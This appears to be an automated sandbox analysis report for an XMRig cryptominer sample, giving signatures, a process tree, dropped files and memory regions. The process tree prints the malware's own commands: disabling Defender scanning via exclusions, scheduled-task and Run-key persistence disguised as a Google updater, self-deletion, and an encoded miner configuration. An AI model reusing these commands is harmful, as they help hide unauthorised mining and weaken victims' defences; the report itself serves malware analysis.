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Analysis

  • max time kernel
    1751s
  • max time network
    1799s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1188
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2680
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3056
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:828
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:752
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1916
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2428
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:940
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1676
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1948
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1748
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2388
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {2F2C7CA9-0609-4BE3-9BC6-E62736C9085D} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2960

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 2.0MB
              • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 d0faa2f583783e3e3fdb61acae63dca83c453d3a6012c6120da6f6bec0f0d0f7
              • MD5 SHA1 SHA512 SSDEEP

              memory/752-48-0x000007FEF5020000-0x000007FEF59BD000-memory.dmp

              memory/752-49-0x0000000001270000-0x00000000012F0000-memory.dmp

              memory/752-50-0x0000000001270000-0x00000000012F0000-memory.dmp

              memory/752-51-0x000007FEF5020000-0x000007FEF59BD000-memory.dmp

              memory/752-52-0x0000000001270000-0x00000000012F0000-memory.dmp

              memory/752-53-0x000007FEF5020000-0x000007FEF59BD000-memory.dmp

              memory/940-73-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/940-77-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1768-11-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/1768-12-0x0000000002570000-0x00000000025F0000-memory.dmp

              memory/1768-5-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

              memory/1768-6-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/1768-13-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/1768-7-0x0000000002570000-0x00000000025F0000-memory.dmp

              memory/1768-10-0x0000000002570000-0x00000000025F0000-memory.dmp

              memory/1768-9-0x00000000022D0000-0x00000000022D8000-memory.dmp

              memory/1768-8-0x0000000002570000-0x00000000025F0000-memory.dmp

              memory/1916-58-0x00000000012D0000-0x0000000001350000-memory.dmp

              memory/1916-55-0x00000000012D0000-0x0000000001350000-memory.dmp

              memory/1916-54-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/1916-56-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/1916-57-0x00000000012D0000-0x0000000001350000-memory.dmp

              memory/1916-59-0x00000000012D0000-0x0000000001350000-memory.dmp

              memory/1916-60-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/2040-30-0x000000013FFB0000-0x00000001401C1000-memory.dmp

              memory/2040-0-0x000000013FFB0000-0x00000001401C1000-memory.dmp

              memory/2040-26-0x000000013FFB0000-0x00000001401C1000-memory.dmp

              memory/2388-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-71-0x0000000000460000-0x0000000000480000-memory.dmp

              memory/2388-131-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-129-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-127-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-125-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-123-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-82-0x0000000000460000-0x0000000000480000-memory.dmp

              memory/2388-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-119-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-117-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-79-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-68-0x00000000000B0000-0x00000000000D0000-memory.dmp

              memory/2388-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-70-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-72-0x0000000000480000-0x00000000004A0000-memory.dmp

              memory/2388-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-121-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-83-0x0000000000480000-0x00000000004A0000-memory.dmp

              memory/2388-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2388-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2960-69-0x000000013FF40000-0x0000000140151000-memory.dmp

              memory/2960-66-0x000000013FF40000-0x0000000140151000-memory.dmp

              memory/2960-47-0x000000013FF40000-0x0000000140151000-memory.dmp

              memory/2996-22-0x0000000002510000-0x0000000002590000-memory.dmp

              memory/2996-23-0x000007FEF5020000-0x000007FEF59BD000-memory.dmp

              memory/2996-28-0x000007FEF5020000-0x000007FEF59BD000-memory.dmp

              memory/2996-27-0x0000000002510000-0x0000000002590000-memory.dmp

              memory/2996-19-0x000000001B220000-0x000000001B502000-memory.dmp

              memory/2996-20-0x0000000002420000-0x0000000002428000-memory.dmp

              memory/2996-21-0x000007FEF5020000-0x000007FEF59BD000-memory.dmp

              memory/2996-24-0x0000000002510000-0x0000000002590000-memory.dmp

              memory/2996-25-0x0000000002510000-0x0000000002590000-memory.dmp

              memory/3056-41-0x0000000002790000-0x0000000002810000-memory.dmp

              memory/3056-42-0x0000000002790000-0x0000000002810000-memory.dmp

              memory/3056-43-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/3056-37-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/3056-38-0x0000000002790000-0x0000000002810000-memory.dmp

              memory/3056-39-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

              memory/3056-40-0x0000000002790000-0x0000000002810000-memory.dmp